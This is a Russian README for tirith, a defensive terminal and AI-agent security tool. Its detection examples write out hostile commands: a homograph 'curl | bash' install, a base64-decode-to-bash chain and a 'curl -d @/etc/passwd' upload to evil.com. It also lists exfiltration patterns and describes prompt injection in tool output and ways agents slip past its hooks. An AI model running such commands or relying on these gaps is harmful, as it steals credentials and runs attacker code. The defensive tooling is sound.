
tirith v0.4.2
Терминальная безопасность для разработчиков и агентов ИИ. Перехватывает гомографные URL, конвейер к оболочке, ANSI-инъекции, обфусцированные полезные нагрузки, утечку данных и вредоносные навыки/конфигурации ИИ до их выполнения.
tirith
Ваш браузер это поймал бы. Ваш терминал — нет.
Website | Docs | SKILL.md | Changelog | Releases
Независимый проект с открытым исходным кодом, хостинг поддерживается Vercel Open Source Program (Spring 2026 Cohort).
Сможете заметить разницу?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
Вы не можете. Ваш терминал тоже. Оба символа `і` — кириллические (U+0456), а не латинская `i`. Второй URL ведёт на сервер атакующего. Скрипт выполняется прежде, чем вы это заметите.
Браузеры решили эту проблему годы назад. Терминалы по-прежнему отображают Unicode, ANSI-escape-последовательности и невидимые символы без вопросов. AI-агенты выполняют shell-команды и устанавливают пакеты, не проверяя, что внутри.
**Tirith стоит на страже.** Он перехватывает команды, вставленное содержимое и сканируемые файлы на предмет гомографических URL, обфусцированных полезных нагрузок, кражи учётных данных, вредоносных AI-навыков/конфигураций и известных опасных пакетов/доменов/IP-адресов из подписанной базы данных угроз перед их выполнением.```bash
brew install tirith
Затем активируйте в профиле вашей оболочки:```bash
zsh
eval "$(tirith init --shell zsh)"
bash
eval "$(tirith init --shell bash)"
fish
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` автоматически определяет вашу текущую оболочку (он проверяет родительский процесс и при необходимости возвращается к `$SHELL`). Явный флаг `--shell` требуется только тогда, когда вы хотите переопределить определение.
На этом покрытие интерактивной оболочки завершено. Команды, принимаемые этой оболочкой,
проверяются, пока хук загружен и работоспособен; точное поведение блокировки зависит
от оболочки и режима. Запустите `tirith doctor` после установки и обновлений, и
прочитайте [enforcement by shell](#enforcement-by-shell), прежде чем рассматривать хук как
границу авторизации. Чистые команды остаются безмолвными и обычно идут по
быстрому пути.
Также доступно через [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) и [другое](#install).
---
## Посмотрите, как это работает
**Гомографическая атака, заблокированная до выполнения:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
Команда никогда не выполняется.
Pipe-to-shell с чистым URL, предупреждение, не заблокировано:``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
Предупреждение выводится в stderr. Команда всё равно выполняется.
**Цепочка декодирования и выполнения Base64, заблокирована:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
Перехватывает цепочки декодирования через обёртки sudo/env и PowerShell -EncodedCommand.
Эксфильтрация учётных данных, заблокировано:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
Охватывает все флаги загрузки curl/wget, переменные окружения (`$AWS_SECRET_ACCESS_KEY`) и подстановку команд.
**Вредоносный файл навыка, обнаруженный при сканировании:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Сканирует файлы JS/Python на наличие обфусцированных полезных нагрузок, динамического выполнения кода и шаблонов эксфильтрации секретов.
Обычные команды, невидимые:``` $ git status $ ls -la $ docker compose up -d
Ничего. Нулевой вывод. Ты забываешь, что tirith запущен.
---
## Что он обнаруживает
**244 правила обнаружения в 35 категориях.**
| Категория | Что она останавливает |
|----------|--------------|
| **Атаки омоглифами** | Кириллические/греческие похожие символы в именах хостов, punycode-домены, метки со смешанными алфавитами, похожие TLD, конфузируемые домены, обнаружение конфузируемых символов на текстовом уровне (математические алфавитно-цифровые символы, смешанные алфавиты в одном слове) |
| **Инъекция в терминал** | ANSI escape-последовательности, bidi-переопределения, символы нулевой ширины, unicode-теги, невидимые математические операторы, селекторы вариаций, заполнители хангыль |
| **Защита от стеганографии** | Кодирование невидимыми пробельными символами (12 вариантов Unicode-пробелов), монгольский разделитель гласных, символы-заполнители хангыль, математическая алфавитно-цифровая подстановка, защита от текстовой стеганографии в стиле st3gg |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, а также множество путей через обёртки, декодирование и перенаправления |
| **Декодирование и выполнение Base64** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, цепочки декодирования через обёртки sudo/env |
| **Эксфильтрация данных** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, загрузка переменных окружения (`$AWS_SECRET_ACCESS_KEY`), эксфильтрация через подстановку команд |
| **Сканирование файлов кода** | Обфусцированные полезные нагрузки (`eval(atob(...))`), динамическое выполнение кода (`exec(b64decode(...))`), эксфильтрация секретов через `fetch`/`requests.post` в файлах JS/Python |
| **Обнаружение учётных данных** | Ключи AWS, GitHub PAT, токены Stripe/Slack/SendGrid/Anthropic/GCP/npm, блоки приватных ключей, а также обобщённое обнаружение секретов на основе энтропии |
| **Поведение после компрометации** | Считывание памяти процессов (`/proc/*/mem`), удалённое повышение привилегий в Docker, обход файлов учётных данных, откалибровано по инструментам пост-компрометации TeamPCP и UNC1069 |
| **Безопасность команд** | Перезапись dotfile-файлов, распаковка архивов в чувствительные пути, доступ к эндпоинтам облачных метаданных, доступ к частной сети |
| **Небезопасный транспорт** | Обычный HTTP, передаваемый в shell, `curl -k`, отключённая проверка TLS, сокращённые URL, скрывающие назначение |
| **Окружение** | Перехват прокси, экспорт чувствительных переменных окружения, инъекция кода через env, перехват интерпретатора, инъекция в shell через env |
| **Безопасность конфигурационных файлов** | Инъекция в конфигурацию, подозрительные индикаторы, не-ASCII/невидимый unicode в конфигурациях, безопасность MCP-серверов (небезопасные/недоверенные/дублирующиеся/разрешительные) |
| **Угрозы экосистемы** | Тайпсквоттинг при git clone, недоверенные Docker-реестры, установка через URL pip/npm, эндпоинты web3 RPC, vet-not-configured |
| **Безопасность команд установки** | APT-репозитории, добавленные из скачанного через pipe файла, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (отключённые проверки подписи), `kubectl apply -f` против необработанных/сокращённых удалённых манифестов, Helm-чарты из недоверенных репозиториев, модули Terraform из недоверенных удалённых источников, `brew install`/`tap` из произвольных URL |
| **Анализ путей** | Не-ASCII пути, омоглифы в путях, двойное кодирование |
| **Отрисованный контент** | Скрытый контент через CSS/цвет, скрытые HTML-атрибуты, анализ содержимого комментариев (prompt injection на уровне High, деструктивные команды на уровне Medium) |
| **Обнаружение клоакинга** | Серверный клоакинг (бот против браузера), скрытый контент в буфере обмена, скрытый текст в PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, исключения Windows Defender (`Add-MpPreference -Exclusion*`), встроенное скачивание-выполнение `iex (iwr ...)` |
| **Защита вывода терминала** | Запись в буфер обмена через OSC 52, поддельные приглашения, манипуляции с гиперссылками OSC 8 и заголовком / очисткой экрана, prompt injection внутри вывода команд или MCP-инструментов (сканируется как в сыром, так и в деобфусцированном виде, поэтому невидимые символы, конфузируемые символы, разнесённые по буквам, leetspeak и короткие base64 / hex-обходы также обнаруживаются), а также эксфильтрация данных через вывод (beacon-URL или директивы «прочитай секрет и отправь его») |
| **Операционный контекст** | Деструктивные команды против помеченных как prod облачных / k8s контекстов и SSH-хостов, Terraform / Pulumi / OpenTofu `apply` без соответствующего сохранённого плана, рискованное повышение через sudo, привилегированный `docker run` |
| **Рабочая станция и персистентность** | Файлы учётных данных с нестрогими правами и токены в открытом виде (`~/.ssh`, `~/.aws`, `.npmrc`), точки закрепления персистентности (shell rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), порядок перехвата PATH, происхождение исполняемых файлов, рискованные алиасы и жизненный цикл чувствительных переменных окружения |
| **Радиус поражения и корреляция** | Удаления, выходящие за пределы репозитория, массовые удаления, выполнение файлов, скачанных из рискованных источников, и цепочки в рамках сессии, такие как запись секрета, а затем сеть, или удаление, а затем `git push --force` |
| **Доверие, аттестация и происхождение** | Несоответствие подписанной command-card, обращения к canary-ханипотам, несоответствие хоста-источника вставки, отказы политики по источнику вызова (агенту), дрейф MCP lockfile и дрейф AI-конфигурации относительно известного безопасного снимка |
| **Защита команд Web3** | Записи в блокчейн из команд Cast / Forge / Hardhat / Solana / Anchor (High, когда та же команда также отключает заявленный механизм безопасности), материал в виде raw private-key, keypair или мнемоники в командной строке, а также RPC-эндпоинт или подписант, которым политика `web3_guard` оператора не доверяет. Только грамматика и политика: состояние цепи не читается, транзакция не симулируется, адрес не оценивается |
| **Эксфильтрация кошелька** | Проверенный материал кошелька, keystore, браузерного кошелька и Solana-keypair, утекающий к доказанному удалённому стоку, включая промежуточные этапы архивации, base64, hex, сжатия и шифрования, а также продвижение операндов через `xargs` / `find -exec`. Чтение только из источника намеренно не считается находкой |
| **Отравление CI-артефактов** | Доступный из форка workflow, который загружает артефакт сборки, потребляемый привилегированным workflow `workflow_run`, привязанным к запустившему его запуску, который затем выполняет, подключает как источник, изменяет PATH, публикует или развёртывает его |
---
## От чего tirith НЕ защищает
Tirith анализирует **структуру** команд, вставленного текста и файлов до
их выполнения. Это предварительный шлюз, а не защита во время выполнения, и он не
покрывает:
- **Общую изоляцию во время выполнения:** обычные shell-хуки и `tirith check` предупреждают
или блокируют; они не изолируют команду после запуска. Явные
пути `capsule run --preset untrusted-project` и принудительный `pkg install`
обеспечивают fail-closed сдерживание только на поддерживаемых хостах x86_64 Linux.
- **Сетевой мониторинг после выполнения:** то, что процесс делает в сети после
запуска, вне области охвата.
- **Общее обнаружение вредоносного ПО / полезных нагрузок:** tirith не является антивирусом и
не детонирует полезную нагрузку. Он анализирует структуру и может сопоставлять точные индикаторы
и хеши артефактов/файлов из подписанной базы данных угроз, но неизвестная
полезная нагрузка не доказывается как безопасная отсутствием совпадения. (`tirith run` проверяет
структуру скачанного скрипта; это всё ещё не динамический анализ вредоносного ПО.)
- **Привилегированный root/admin-атакующий:** любой, кто уже root или admin, может обойти
tirith тривиально. Он защищает от обманутого ввода, а не от атакующего, который уже
владеет машиной.
- **Анти-отладка / анти-тамперинг:** tirith не сопротивляется обратной разработке
и не защищает свой собственный бинарник от локального атакующего.
- **Анализ на цепи:** защита Web3 читает грамматику команд. Она не читает
состояние цепи, не симулирует транзакцию, не разрешает ENS, не оценивает адрес, не аудирует
контракт и не следит за mempool.
- **Межсетевой экран артефактов npm:** tirith разбирает грамматику команд npm и факты
идентичности реестра и может запросить у собственного npm проекта его состояние подписи и
происхождения. Он не скачивает, не извлекает, не помещает в карантин и не привязывает
байты tarball, которые устанавливает npm. Содержимый межсетевой экран артефактов с закреплением по хешу
предназначен только для Python.
- **Браузерная криминалистика или мониторинг:** `tirith browser audit` — это явный,
одноразовый, read-only аудит целостности исходных деревьев расширений. Он никогда не читает
cookies, историю, сохранённые пароли, хранилище, базы данных кошельков или `Local
State`, никогда ничего не удаляет и не помещает в карантин и не имеет демона.
- **Воспроизводимые сборки:** квитанция `attest` фиксирует, что содержали два дерева
в один момент. Tirith не запускает вашу сборку и не может утверждать, что вывод получен
из исходников. Квитанция развёртывания — это измерение на момент времени, а не
непрерывный мониторинг.
См. [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) для полной модели угроз и
явных нецелей, а также
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) для
реестра по возможностям того, что tirith обнаруживает, решает, применяет,
сдерживает и аттестует.
---
## Известные ограничения
- **Хрупкость shell-хуков:** защита зависит от того, что shell-хук остаётся установленным
и активным. Хуки могут ломаться или молча деградировать в разных оболочках, версиях оболочек,
фреймворках приглашения и инструментах истории. Запустите `tirith doctor`, чтобы проверить живое состояние
и следить за деградацией до режима только предупреждений.
- **Полное или доступное только для чтения временное хранилище:** zsh и fish захватывают ввод через
временный файл перед вызовом Tirith и отказывают fail-closed, когда этот файл не может быть
создан. Поэтому полный/доступный только для чтения `TMPDIR` может отказать в каждой команде, и
`TIRITH=0` не может восстановить ситуацию, потому что бинарник так и не достигается. Следуйте шагам
восстановления в [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Функции, ограниченные платформой:** режим демона, `tirith run` и `tirith fetch`
— это Unix-поверхности. `tirith run --no-exec` остаётся там рабочим процессом
инспекции, но живое выполнение удалённых скриптов доступно только на Linux и отказывает до
скачивания на любом другом хосте. `tirith setup` кроссплатформенный, тогда как каждая
интеграция с хостом имеет свой собственный платформенный контракт (например, у Cline есть POSIX
и Windows-обёртки; блокирующий хук OpenHands доступен только на Unix).
- **Охват извлечения имён пакетов:** покрывает языковые экосистемы (pip,
npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), но не дистрибутивные
менеджеры пакетов (`apt`, `dnf`, `yum`, `pacman`).
- **Оговорки по AI-агентам:** перехват через shell-хук защищает только команды, которые проходят
через подключённую интерактивную оболочку. Агент, который порождает неинтерактивную
оболочку, вызывает `exec` напрямую или работает без загруженного хука, не покрывается
этим слоем. Регистрация MCP является кооперативной, если только вызовы не маршрутизируются
через шлюз. Поддерживаемый pre-tool хук может автоматически удержать
команду хоста, но только когда этот хост загрузил и соблюл его; несколько хостов
отказывают fail-open, когда процесс хука завершается с ошибкой. Проверяйте эффективный хост, а не только
наличие конфигурационного файла.
- **Поведение при сбое хост-хука:** Grok Build, Cline и OpenHands разрешают
инструмент, когда их процесс хука падает или истекает по таймауту. Адаптер Tirith по умолчанию отказывает при
своих собственных ошибках, но он не может заставить хост соблюдать процесс, который не
вернулся. Перезапустите setup, если закреплённый интерпретатор переместился, и тестируйте реальный хост
после каждого обновления.
- **Prime Agent IPython — это извлечение на уровне исходников:** защита покрывает shell-
escape-последовательности/магии и распространённые формы `os`, `subprocess` и `pty.spawn`, но это
не песочница среды выполнения Python. Обёртка, определённая в более ранней ячейке,
рефлексия вроде `getattr`/`__import__` или сторонний пакет, который
порождает процесс, могут выйти за пределы того, что может доказать лексер исходников.
- **Custom-DLP и машинный вывод:** широкие `dlp_custom_patterns` в настоящее время могут
переписывать строковые значения, принадлежащие протоколу, в рекурсивно редактируемых JSON/MCP
проекциях, включая сгенерированные идентификаторы или метаданные квитанций. Избегайте
шаблонов, которые могут совпадать со структурными значениями, при потреблении подписанного или
машинно-стабильного вывода; это требует редактирования с учётом полей до релиза.
- **Одобрение установки без присмотра:** `tirith install --yes` принимается как
канал `require_approval` без присмотра для шлюза задачи менеджера пакетов. Это
явный флаг оператора, а не доказательство подтверждения человеком через TTY. Используйте блокирующую
политику задач там, где выполнение без присмотра должно быть невозможно.
- **Привязка интерпретируемого MCP:** точная привязка интерпретируемого сервера хеширует
дерево репозитория при фиксированных ограничениях вместо обнаружения истинного замыкания зависимостей,
поэтому большие деревья, симлинки или специальные файлы могут отказать в запуске. Она
перепроверяет перед порождением, но не выполняет входные данные интерпретатора из запечатанных
проверенных дескрипторов; конкурентное изменение тем же пользователем остаётся разрывом между проверкой и загрузкой.
- **Охват шлюза задач:** вывод эффектов задач моделирует грамматику оболочки Web3
и ничего больше, поэтому почти каждая обычная команда SHELL сообщается как
INCOMPLETE. `task_gate.mode: enforce` с `action_incomplete_analysis: block`
отказывает им на пяти границах, которые отправляют конверт оболочки, и ничего не меняет
на четырёх границах пакетов и записи конфигурации, которые всегда оцениваются как полные.
`warn` — это значение по умолчанию. Альтернатива,
`effects_denied_for_untrusted_sources`, запрещает названный эффект при каждом вызове
на каждой принадлежащей границе, включая команды, которые вы набрали сами, потому что ни один
источник на этих границах никогда не считается доверенным.
- **Сдерживание — это x86_64 Linux:** `tirith capsule run --preset
untrusted-project` и принудительный `tirith pkg install` могут применяться только на
x86_64 Linux с пригодным ABI Landlock. Любой другой хост отказывает до
того, как что-либо скопировано или порождено, без деградированного запасного варианта. Разрешение
по домену не предлагается ни одним бэкендом.
- **Разрыв эксфильтрации через вложенную оболочку:** чувствительное чтение внутри тела вложенной оболочки,
сток которого находится вне её, например `bash -c "cat <wallet>" | curl -d @- <url>`,
сегодня не коррелируется. Та же цепочка полностью внутри или полностью вне
тела `-c` обнаруживается.
- **Оценки доказательств выполнения:** запуск на Linux подтверждается только после того, как его
остановленный переход `exec`, обновление долговременного состояния, авторизованное возобновление и
доказательство терминального лаунчера все завершены. Вызов шлюза подтверждается только
точным коррелированным результатом. Наблюдения оболочки и пересланные вызовы шлюза, которые
истекают по таймауту или отменяются, остаются консервативными неразрешёнными доказательствами, никогда не
подтверждённым выполнением. Строгие квитанции оболочки доступны для интерактивных
bash, zsh и fish; PowerShell остаётся только предварительной проверкой. Поведение нативного Linux-лаунчера
должно быть проверено Linux CI или нативным Linux-хостом; ни переносимое
покрытие исходников/модулей, ни сборка для macOS не могут это заменить.
- **Пробелы в охвате Web3:** `forge create` пока не смоделирован на поверхностях движка;
несколько объявленных полей `web3_guard` разбираются, но не применяются; и
привязки Web3 в command-card схемы 2 пока не имеют пути для авторства через CLI или
потребления живым движком. Рассматривайте это как известные пробелы, а не молчаливую авторизацию.
---
## Разведка угроз
Tirith поставляет подписанную локальную базу данных угроз для репутации пакетов, имён хостов и IP. Когда shell-хук или `tirith check` видит установку пакета или ссылку на подозрительную инфраструктуру, он сопоставляет этот ввод с базой данных до выполнения команды, вместо того чтобы полагаться только на статические эвристики.
**Подписанная БД** (собирается CI, проверяется при скачивании и загрузке):
- Известные вредоносные пакеты из [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) и [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Вредоносная IP-инфраструктура из [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Подтверждённые тайпсквоты и базовые линии популярных пакетов из [ecosyste.ms](https://ecosyste.ms/)
- Каталог [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) для корреляции рекомендаций во время выполнения
ThreatDB v2 добавляет точные значения SHA-256 артефактов, хеши установленных файлов,
вредоносные URL, принадлежность к кампаниям и теги поведения. Подписанный индекс,
обновлятор, компилятор и загрузчик поддерживают v1 и v2 во время поэтапного перехода,
отклоняют откат последовательности, публикуют транзакционно и сохраняют подписанную
базу данных last-known-good, когда обновление неполное или недействительное. Источник
DigitalSide реализован, но намеренно неактивен, пока его
контракт по свежести и работе не будет одобрен.
**Опциональные дополнительные фиды** (пользовательский локальный оверлей):
- [URLhaus](https://urlhaus.abuse.ch/) и [ThreatFox](https://threatfox.abuse.ch/) через ключ авторизации abuse.ch
- Блок-листы [PhishTank](https://phishtank.org/) (Cisco Talos) и [Phishing Army](https://phishing.army/)
- Список выходных узлов Tor от [Tor Project](https://www.torproject.org/)
**Опциональное живое обогащение** во время `tirith check` и в режиме демона:
- Поиск рекомендаций [OSV.dev](https://osv.dev/) (Google OSS)
- Сигналы о состоянии пакетов [deps.dev](https://deps.dev/) (Google OSS) и данные о мейнтейнерах [ecosyste.ms](https://ecosyste.ms/)
- Репутация URL [Google Safe Browsing](https://safebrowsing.google.com/) с вашим собственным API-ключом```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
По умолчанию shell-хуки и tirith check запускают дешёвую фоновую проверку обновлений каждые 24 часа. Режим демона поддерживает тот же путь обогащения в фоновом режиме.
threat-db explain принимает домен, имя пакета (name, ecosystem:name или name@version) либо IPv4-адрес. Бинарный файл не хранит историю по отдельным записям, поэтому threat-db diff сообщает изменения категорий и количества по источникам между снимками, а не точные изменённые записи. Каждая команда threat-db принимает --format json; threatdb — это псевдоним.
Оценка риска пакетов
tirith package risk <ecosystem> <name> оценивает риск цепочки поставок / сопровождающего пакета так же, как tirith score оценивает URL, — детерминированная, полностью объяснимая сумма именованных факторов, без модели и без обученных весов. tirith package explain <ecosystem> <name> добавляет пофакторный вывод; обе команды принимают --format json.```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
**По умолчанию офлайн.** Без флагов каждый сигнал является локальным, без сетевых вызовов: (1) **имя против популярных пакетов**: известный-популярный, неизвестный или почти совпадающий с популярным именем с одним отличием (классическая форма тайпсквоттинга/слопсквоттинга), из набора `popular` локальной базы данных угроз; (2) **известный вредоносный тайпсквот**: точное совпадение в индексе `typosquat` базы данных угроз; (3) **скрипты установки / жизненного цикла** и (4) **встроенные бинарные блобы**, обнаруживаемые только когда содержимое пакета доступно локально (в `node_modules` / `site-packages` или через `--path`). tirith **никогда не скачивает** пакет.
**`--online` добавляет происхождение из реестра.** Он обращается к реестру пакета (npm, PyPI или crates.io) для шести дополнительных факторов в *той же* факторно-суммовой модели: возраст пакета/версии, устоявшийся пакет без владельцев, аномальный скачок версий, очень низкое число загрузок, отсутствующий репозиторий с исходным кодом и статус yanked/deprecated. Это единственный путь, на котором сам `package risk` выходит в сеть; `tirith check` и режим демона имеют отдельный, управляемый политикой путь обогащения во время выполнения. `--offline` / `TIRITH_OFFLINE` принудительно переводят этот оценщик в офлайн независимо от всего. При сбоях происходит возврат к офлайн-оценке с честным `api signals: unavailable`, а ответы кэшируются с TTL, чтобы повторные запуски не нагружали реестры.
Оценка носит рекомендательный и самостоятельный характер: `package risk` не является правилом обнаружения и не меняет вердикт, код выхода или журнал аудита.
### Сканирование экосистемы и риск зависимостей
`tirith ecosystem scan [path]` — это компаньон `package risk` на уровне каталога. Он обходит проект, обнаруживает каждый понятный ему манифест зависимостей — npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`) — и оценивает **каждую объявленную зависимость** с помощью того же детерминированного факторного движка `package_risk`.```bash
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
Он включает обнаружение слопсквотинга. Слопсквотинг — это регистрация правдоподобного, но поддельного имени, которое LLM склонны галлюцинировать как зависимость. ecosystem scan помечает его только тогда, когда выполняются все три условия: имя не является известным реальным или популярным, оно имеет форму, характерную для галлюцинации ИИ (языковой префикс, такой как python- / node-, плюс описательные токены, набор общих слов-заполнителей, таких как helper / utils / client, или необычно длинное имя), и оно находится рядом с реальным популярным именем (почти совпадение с одним отличием или содержит популярное имя как слово). Требование всех трёх условий снижает число ложных срабатываний: честный data-utils без привязки к популярному имени не срабатывает.
По умолчанию офлайн, --online по желанию. Сигналы имён и тайпосквотинга берутся из локальной базы угроз; --online добавляет происхождение из реестра, ограничивается и деградирует точно так же, как package risk --online. Этот флаг управляет сканированием экосистемы и не изменяет независимую политику обогащения во время выполнения tirith check. Находки проходят через обычную модель Verdict / Finding tirith: объяснимые (tirith explain --rule threat_suspicious_package), записываемые в журнал аудита и соблюдающие allowlist политики (пакет из allowlist, по простому имени или ecosystem:name, подавляется). Коды выхода совпадают с tirith scan: 1 для блокирующей находки, 2 для рекомендательной, 0 при отсутствии проблем.
Это помогает выявлять известные вредоносные пакеты, подтверждённые тайпосквоты, имена пакетов со слопсквотингом, вредоносную инфраструктуру загрузки и пакеты с актуальными данными рекомендаций OSV / CISA KEV.
Инспекция Python-артефактов и принудительные установки
Риск по имени пакета — лишь один слой. Tirith может инспектировать точные Python-байты, которые у вас уже есть, и на поддерживаемых хостах обеспечивать выполнение плана установки с закреплёнными хешами:```bash
Local evidence: never downloads an artifact
tirith package inspect --artifact dist/example-1.0-py3-none-any.whl tirith package inspect --artifact-set ./downloaded-wheels tirith package inspect --installed ./.venv
Enforcing pip workflow: x86_64 Linux only
tirith pkg trust-tool /absolute/path/to/static-uv tirith pkg approve pip requests==2.31.0 --target .tirith-pkg tirith pkg install pip requests==2.31.0 --target .tirith-pkg tirith pkg verify-env --target .tirith-pkg requests
Проверка охватывает структуру и идентичность wheel, целостность RECORD и владение файлами, хуки запуска Python, нативные расширения ELF/Mach-O/PE, рёбра выполнения и разделения загрузчика/полезной нагрузки по дистрибутивам. `pkg graph`, `pkg diff`, `pkg attest` и `pkg receipt` предоставляют соответствующие доказательства происхождения и квитанции.
Принудительный путь поддерживает **pip только на x86_64 Linux** и требует задокументированный нативный авторитет, новый выделенный целевой каталог и зарегистрированный полностью статический нативный `uv`. Каждая неподдерживаемая платформа отказывает закрыто до запуска pip; она никогда не откатывается к обычной установке. npm и Cargo остаются не-принудительными поверхностями доказательств. См. [примечания к выпуску 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) и [справочник команд](https://github.com/sheeki03/tirith/blob/main/docs/commands.md).
**Семейства атак, для которых создан tirith** (иллюстративно, не утверждение о перехвате текущим кодом):
| Инцидент | Год | Форма атаки |
|---|---|---|
| [Червь Shai-Hulud npm](https://socket.dev/blog/shai-hulud-worm) | 2025 | Самораспространяющееся вредоносное ПО пакетов; похищены токены GitHub и ключи AWS из 180+ пакетов, результаты опубликованы в публичных репозиториях `Shai-Hulud` |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 — по настоящее время | Злоумышленники регистрируют галлюцинированные LLM имена пакетов на npm / PyPI / crates.io; [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) обнаружил, что 58% галлюцинированных имён повторяются между запусками |
| Инструментарий Team PCP / UNC1069 | по настоящее время | Посткомпрометационные обходы учётных данных, сбор из `/proc/*/mem`, повышение привилегий Docker |
| [Саботаж colors.js / faker.js](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | Самосаботаж автора широко используемых пакетов |
| [Компрометация event-stream](https://github.com/dominictarr/event-stream/issues/116) | 2018 | Передача владения злоумышленнику; полезная нагрузка нацелена на биткойн-кошельки |
Извлечение имён пакетов в настоящее время охватывает языковые экосистемы (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), но не менеджеры пакетов уровня дистрибутива (`apt` / `dnf` / `yum` / `pacman`). Именно поэтому xz-utils, проникший через tarball дистрибутива Linux, не включён в таблицу, несмотря на то что это громкий инцидент.
---
## Безопасность AI-агентов
Tirith добавляет несколько независимых слоёв защиты вокруг AI-агентов программирования:
сканирование конфигураций, кооперативные инструменты MCP, шлюз MCP, хуки
интерактивной оболочки и нативные для хоста хуки pre-tool там, где хост
предоставляет задокументированный контракт блокировки. Покрытие зависит от того, какой слой
хост фактически загружает.
### Хуки оболочки, пассивный перехват команд
Когда AI-агент выполняет команды через оболочку с подключённым хуком (Claude Code,
Codex, Cursor и т. д.), хук оболочки tirith проверяет эту интерактивную команду до того,
как оболочка её примет. Это не покрывает неинтерактивную оболочку, прямой
`exec` или процесс агента, который никогда не загружал хук:
- **Блокирует опасные команды**: омографные URL, pipe-to-shell, небезопасные загрузки
- **Блокирует вредоносную вставку**: ANSI-инъекции, bidi-атаки, скрытые многострочные данные во вставленном содержимом
- **Независимый от агента интерактивный шлюз**: не требуется интеграция,
специфичная для агента, когда этот агент фактически использует защищённую интерактивную оболочку
- **Нулевая модификация агента**: агент не знает о существовании tirith, пока команда не заблокирована
Используйте `tirith setup <tool>` для настройки одной командой (см. [Интеграции с AI-агентами](#ai-agent-integrations)).
### MCP-сервер (6 кроссплатформенных инструментов; 7 на Unix)
Запустите `tirith mcp-server` или используйте `tirith setup <tool> --with-mcp`, чтобы зарегистрировать tirith как MCP-сервер. AI-агенты могут вызывать эти инструменты перед выполнением действий:
| Инструмент | Что он делает |
|------|-------------|
| `tirith_check_command` | Анализирует команды оболочки на pipe-to-shell, омографные URL, инъекции окружения |
| `tirith_check_url` | Оценивает URL на атаки омографов, трюки punycode, сокращённые URL, необработанные IP |
| `tirith_check_paste` | Проверяет вставленное содержимое на ANSI-escape, bidi-управляющие символы, символы нулевой ширины |
| `tirith_scan_file` | Сканирует файл на скрытое содержимое, невидимый Unicode, отравление конфигурации |
| `tirith_scan_directory` | Рекурсивное сканирование с приоритизацией конфигурационных файлов AI |
| `tirith_verify_mcp_config` | Проверяет конфигурации MCP на небезопасные серверы, инъекции оболочки в аргументах, инструменты с подстановочными знаками |
| `tirith_fetch_cloaking` | Обнаруживает серверный клоакинг (разное содержимое для ботов и браузеров) |
По умолчанию `tools/list` — это замороженный контракт совместимости, потому что клиенты
кэшируют его, и инструмент, появившийся без объявления, меняет представление агента о том,
что он может вызывать. Поэтому предварительный инструмент `tirith_check_task` **не
объявляется по умолчанию**: запустите `TIRITH_MCP_PREVIEW=1 tirith mcp-server`, чтобы объявить его, и
без этого согласия клиент, вызывающий его по имени, получает отказ по имени. См.
[docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md).
### Управление MCP-сервером
